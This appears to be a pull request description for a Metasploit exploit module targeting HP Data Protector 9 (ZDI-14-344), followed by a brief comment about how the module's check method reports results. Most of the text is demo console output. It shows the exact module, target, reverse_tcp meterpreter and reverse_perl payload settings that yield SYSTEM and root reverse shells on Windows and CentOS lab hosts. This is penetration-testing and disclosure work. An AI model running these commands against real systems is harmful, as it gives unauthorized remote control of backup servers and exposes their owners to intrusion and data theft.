Add module for ZDI-14-344, HP Data Protector Remote Command Execution Vulnerability

Tested on Windows 2008 R2 64 bits and Centos 6 64 bits. With HP Data Protector 9.

Verification
------

- [ ] Install a windows or linux operating system (or both) (Windows 2008 R2 64 bits and Centos 6 64 bits used for testing)
- [ ] Install HP Data Protector 9. Install the Cell Manager role. Software can be downloaded from: http://www8.hp.com/us/en/software-solutions/software.html?compURI=1175640#.VDnqCmRdXWo
- [ ] Test like in the demo, hopefully get sessions!

DEMO
----

* Windows

```

msf > use exploit/multi/misc/hp_data_protector_exec_integutil
msf exploit(hp_data_protector_exec_integutil) > set rhost 172.16.158.252
rhost => 172.16.158.252
msf exploit(hp_data_protector_exec_integutil) > check

[*] 172.16.158.252:5555 - Windows / HP Data Protector version 09.00 found
[*] 172.16.158.252:5555 - The target appears to be vulnerable.
msf exploit(hp_data_protector_exec_integutil) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Linux 64 bits / HP Data Protector 9
   1   Windows 64 bits / HP Data Protector 9


msf exploit(hp_data_protector_exec_integutil) > set target 1
target => 1
msf exploit(hp_data_protector_exec_integutil) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(hp_data_protector_exec_integutil) > set lhost 172.16.158.1
msf exploit(hp_data_protector_exec_integutil) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.252:5555 - Leaking the HP Data Protector directory...
[+] 172.16.158.252:5555 - HP Data Protector directory found on C:\Program Files\OmniBack\
[*] 172.16.158.252:5555 - Exploiting through Powershell...
[*] Sending stage (972288 bytes) to 172.16.158.252
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.252:54336) at 2014-10-11 21:35:45 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-U8VOEHD956A
OS              : Windows 2008 R2 (Build 7600).
Architecture    : x64
System Language : en_US
Meterpreter     : x64/win64
emeterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 172.16.158.252 - Meterpreter session 2 closed.  Reason: User exit
```

* Linux

```
msf exploit(hp_data_protector_exec_integutil) > set rhost 172.16.158.132
rhost => 172.16.158.132
msf exploit(hp_data_protector_exec_integutil) > check

[*] 172.16.158.132:5555 - Linux / HP Data Protector found
[*] 172.16.158.132:5555 - The target service is running, but could not be validated.
msf exploit(hp_data_protector_exec_integutil) > set target 0
target => 0
msf exploit(hp_data_protector_exec_integutil) > set payload cmd/unix/reverse_perl
payload => cmd/unix/reverse_perl
msf exploit(hp_data_protector_exec_integutil) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(hp_data_protector_exec_integutil) > exploit

[*] Started reverse handler on 172.16.158.1:4444
[*] 172.16.158.132:5555 - Leaking the HP Data Protector directory...
[+] 172.16.158.132:5555 - HP Data Protector directory found on /opt/omni/
[*] 172.16.158.132:5555 - Exploiting payload...
[*] Command shell session 3 opened (172.16.158.1:4444 -> 172.16.158.132:50803) at 2014-10-11 21:36:18 -0500

id
uid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:inetd_child_t:s0-s0:c0.c1023
^C
Abort session 3? [y/N]  y

[*] 172.16.158.132 - Command shell session 3 closed.  Reason: User exit
```
Even when sounds reasonable I'd prefer to follow the guidelines on https://github.com/rapid7/metasploit-framework/wiki/How-to-write-a-check()-method 

If worths to redefine guidelines I think we should modify the current documentation, and then we can update this module (and others if necessary).

On my opinion the current guidelines is good enough, even when not perfect, allows to write consistent check methods without having to invest extra time in revisiting check methods when patches or mitigations arise for. Which is good enough atm.

But just my opinion! Switch the check result is kinda easy, I wouldn't be hurt if update the check method guidelines is preferred! Whatever is better for the modules works for me!